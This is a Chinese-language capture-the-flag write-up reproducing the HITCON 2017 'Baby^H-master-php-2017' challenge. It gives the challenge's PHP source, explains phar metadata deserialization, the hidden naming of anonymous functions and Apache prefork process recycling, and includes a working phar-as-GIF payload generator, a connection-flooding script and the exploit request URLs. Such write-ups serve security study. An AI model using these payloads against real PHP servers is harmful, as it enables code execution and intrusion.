Pr0ph3t

char nick[7] = "Pr0ph3t";

printf("https://github.com/%s\n",nick);

printf("%s\x40pr0ph3t\x2e\\\bcom\n","admin");

puts("91B6 191A C2C3 285C 201D  801B B5A3 6B56 8528 E140");

[hitcon2017] Baby^H-master-php-2017 复现

Jan 26, 2018 • CyberSecurity,writeup,hitcon,old Page view:

分享本题自制Dockerfile : Github

这题在比赛过程是0解……真的太难了…体现了Orange大大对php和中间件的深刻理解Orz 膜拜

题目源码:

<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
	$data = serialize(new User($SANDBOX));
	$hmac = hash_hmac("sha1", $data, $SECRET);
	setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
	public $avatar;
	function __construct($path) {
		$this->avatar = $path;
	}
}

#######################key class################################
class Admin extends User {
	function __destruct() {
		$random = bin2hex(openssl_random_pseudo_bytes(32));
		eval("function my_function_$random() {"
			. "  global \$FLAG; \$FLAG();"
			. "}");
		$_GET["lucky"]();
	}
}
#######################key class################################
function check_session() {
	global $SECRET;
	$data = $_COOKIE["session-data"];
	list($data, $hmac) = explode("-----", $data, 2); #从cookie中取出data和hmac签名
	if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) #判空
	{
		die("Bye");
	}

	if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) #判断data加密之后和hmac签名是否对应
	{
		die("Bye Bye");
	}

	$data = unserialize($data); #反序列化
	if (!isset($data->avatar)) #如果反序列化之后的data包含的类中无avatar成员,退出
	{
		die("Bye Bye Bye");
	}

	return $data->avatar;
}

function upload($path) {
	$data = file_get_contents($_GET["url"] . "/avatar.gif");
	if (substr($data, 0, 6) !== "GIF89a") {
		die("Fuck off");
	}

	file_put_contents($path . "/avatar.gif", $data);
	die("Upload OK");
}

function show($path) {
	if (!file_exists($path . "/avatar.gif")) {
		$path = "/var/www/html";
	}

	header("Content-Type: image/gif");
	die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
	upload(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 请求url中的内容写到该路径下的avatar.gif文件中
} else if ($mode == "show") {
	show(check_session()); #从cookie中提取data反序列化后的avatar成员并将其内容作为路径, 展示该目录下的avatar.gif
} else {
	highlight_file(__FILE__);
}

思路:

  • 首先分析代码, 首先分配了一个匿名函数给flag变量, 执行了这个函数就会出flag, 所以整道题的核心就是执行这个匿名函数
  • 题目主要有两个功能, 一个是在沙盒文件夹任意写入一个gif, 一个是根据cookie中的路径查看这个gif
  • 一开始的想法是 —–> admin是关键类,需要通过反序列化之后的析构函数去触发其中的eval —–> 通过lucky参数去调用这个输出flag的函数. 而反序列化的data是从cookie中获得, 那先尝试一下伪造cookie,但是其实cookie后半部分是用hash_hmac和一个未知的秘钥生成的一个签名, 基本上无法伪造…..所以放弃这个想法
  • 咋一看好像代码里面并没有其他能够反序列化的地方了, 然后就来到了本题的第一个考点–php中解析Phar归档中的Metadata的时候可能会有反序列化的操作, 文档中描述的Phar::getMetadata操作(http://php.net/manual/zh/phar.getmetadata.php)
    • Phar?(方便开发者打包和发布php应用的类似于Java中的Jar的一种文件) What is Phar?(官方文档)
    • Phar归档的结构 Phar(官方文档)
    • Metadata : Phar归档中可用来描述此文档的一段序列化之后的字符串usage of Metadata(官方文档)
    • phar_parse_metadata的初始化调用, 具体PHP源码在ext/phar/phar.c 执行流程大致为: ….–> phar_open_from_filename(1512行的php_stream_open_wrapper函数可以得知此函数处理phar://打开本地phar文件 1531行调用下一个函数)phar_open_from_filename –> phar_open_from_fp(1727行调用下一个函数) phar_open_from_fp –> phar_parse_pharfile(1038、1122行调用下一个函数) 1038行 1122行 –> phar_parse_metadata(函数在609行) phar_parse_metadata函数
  • 而且题目内upload操作提供了file_get_content()函数 其中地址可控,可以利用phar://协议读取本地phar文件(phar协议不支持远程文件The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the allow_url_fopen and allow_url_include INI options are disabled. ),也就是说只要构造一个phar利用upload写到服务器目录, 其中metadata设置为Admin对象,就可以进入Admin的析构函数了
  • 接下来的问题就是如何猜出那个随机数? 答案是基本上猜不出来https://security.stackexchange.com/questions/101112/can-i-rely-on-openssl-random-pseudo-bytes-being-very-random-in-php openssl_random_pseudo_bytes是加密级别的伪随机数生成器https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator 这是题目第二个死胡同
  • 然后就到了题目的第二个考点, 匿名函数其实是有真正的名字 从注册匿名函数的源码(Zend/zend_builtin_functions.c 1854行) 大佬还对这个逻辑戏谑了一番 anonymous_functions_has_name name_of_anonymous_functions 首先名字第一个字符被替换成了\0,也就是空字符 ,然后do操作将lambda_%d中的%d格式化成匿名函数的个数+1(从1开始) 所以最后得出的匿名函数的真正名字为:\0lambda_%d(%d格式化为当前进程的第n个匿名函数)
  • 但是我们并不能知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数; 最后就引出了最后一个考点, Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了

最后步骤分别是:

  1. 先生成符合要求的phar放入自己的vps中, 生成代码为
<?php
class Admin{
 public $avatar = 'xxx';
}
$p = new Phar(__DIR__.'/avatar.phar',0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__.'/avatar.phar',__DIR__.'/avatar.gif');
?>
  1. 再请求?m=upload&url=http://xxx.xxx.xxx.xxx
  2. 启动Orange大大写的fork脚本
# coding: UTF-8
# Author: [email protected]
# 

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 12344
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
  1. 请求?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1得到flag flag

参考: https://github.com/orangetw/My-CTF-Web-Challenges P神的小秘圈分享 http://php.net/manual/zh/book.phar.php http://blog.jobbole.com/91920/ https://yq.aliyun.com/ziliao/55320 https://www.zhihu.com/question/23786410

Did you like the post? Subscribe to the feed.

Thx!